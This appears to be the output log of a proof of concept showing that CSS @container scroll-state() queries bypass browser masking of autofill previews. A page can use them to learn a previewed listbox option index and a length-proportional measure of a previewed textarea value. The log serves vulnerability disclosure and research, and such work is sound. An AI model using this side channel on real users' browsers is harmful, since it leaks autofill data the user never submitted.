==== poc-output.log ====
===========================================================
 Autofill-preview leak via @container scroll-state(...)
 ScrollStateQuerySnapshot reads PaintLayerScrollableArea
 directly, bypassing the SuggestedValue()/IsPreviewed()
 masks on Element::scrollTop/scrollHeight.
===========================================================
-- Part 1: <select size=2> listbox previewed-option index leak --
[baseline]        sel.scrollTop=0  scroll-state(scrollable:top)=false
[preview "o01"]  sel.scrollTop=0 (MASKED)  scroll-state(scrollable:top)=false
[preview "o11"]  sel.scrollTop=0 (MASKED)  scroll-state(scrollable:top)=true  <-- BYPASS
*** LEAK CONFIRMED: page distinguishes previewed option index ***
-- Part 2: <textarea> previewed-value length leak --
[baseline]        ta.scrollHeight=20  scroll-state(scrollable:bottom)=false
[preview  3-line value]  ta.scrollHeight=15 (MASKED)  scroll-state(scrollable:bottom)=true  <-- BYPASS
                          recovered max scroll offset = 25 px
[preview 12-line value]  ta.scrollHeight=15 (MASKED)  scroll-state(scrollable:bottom)=true  <-- BYPASS
                          recovered max scroll offset = 160 px
[preview 30-line value]  ta.scrollHeight=15 (MASKED)  scroll-state(scrollable:bottom)=true  <-- BYPASS
                          recovered max scroll offset = 430 px
  masked scrollHeight constant across secrets: true
  recovered max-offset increases with secret:  true
*** LEAK CONFIRMED: page recovers length-proportional metric ***
    despite scrollHeight/scrollTop masks returning constants.
=== POC RESULT: SUCCESS ===
========================